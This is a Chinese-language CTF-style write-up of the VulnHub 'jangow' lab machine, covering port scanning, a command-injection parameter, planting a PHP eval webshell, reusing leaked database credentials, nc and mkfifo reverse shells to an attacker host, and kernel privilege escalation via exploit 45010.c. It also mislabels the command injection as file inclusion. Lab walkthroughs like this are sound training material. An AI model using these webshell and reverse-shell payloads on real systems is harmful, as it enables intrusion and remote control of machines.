jangow

运行靶场:https://www.vulnhub.com/entry/jangow-101,754/

image-20221218141507410

ip:192.168.56.118

这个需要使用oralce盒子打开否则找不到主机ip,VM不会自动分配IP

信息收集

端口扫描

┌──(root㉿kali)-[/home/jangow-01-1.0.1]
└─# nmap -sC -sV -oA jangow 192.168.56.118
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 14:07 CST
Nmap scan report for 192.168.56.118
Host is up (0.00058s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE    VERSION
21/tcp open  tcpwrapped
80/tcp open  tcpwrapped
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-06-10 18:05  site/
|_
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.42 seconds

两个端口

21:

image-20221218141736955

80:image-20221218141822912

image-20221218141844115

目录爆破

image-20221218145035764

没有发现,换一个

image-20221218152958111

发现有WordPress但是没有发现登录入口

有一个地址http://192.168.56.118/site/busque.php?buscar=,不知道干啥的使用wfuzz爆破试一下

image-20221218155614887

过滤0 w

image-20221218155637591

发现这个有点像linux的可执行命令

连接shell

上一句话木马,链接

192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST["pass"]);' > 666.php

image-20221218155940005

看到这个WordPress下有一个config配置文件

<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
?>

记下来备用

html下也有一个.backup

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);

前面发现有21端口开放,我们来使用这个账户来连接一下

image-20221218160650082

可以连接,看看有什么有用的信息。

并没有,和我们拿到的文件差不多,我们来使用

image-20221218161252941

使用常规的nc,和msf连接失败,这里提示-e没用

第一种是使用其他的nc版本如下所示:

nc.traditional <your_vps> 1024 -e /bin/sh

第二种就是使用 mkfifo 命令创建命名管道反弹shell,

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f

使用第二种,然后访问浏览器触发式反弹shell,先使用蚁剑在/var/www/html/site/下面新建11.php文件,然后输入下方内容,注意ip换成自己ip的,另外该靶机只能用443端口。

<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.13.128 443 >/tmp/f");?>

...

提权

uanme -a
lsb_release -a

image-20221218162856165

内核: 4.4.0-31-generic

版本:Ubuntu 16.04.1 LTS

searchsploit查看这个版本是否有可利用的漏洞:

image-20221218163325793

选择45010.c

本地编译并上传:

image-20221218164235444

image-20221218164304142

image-20221218164328244

image-20221218164357590

漏洞分析

我们

http://192.168.56.118/site/busque.php?buscar= 这个可以执行linux命令

image-20221218164514754

这个就是文件包含漏洞

posted @ 2023-02-04 20:15  crabin88  阅读(2)  评论(0)    收藏  举报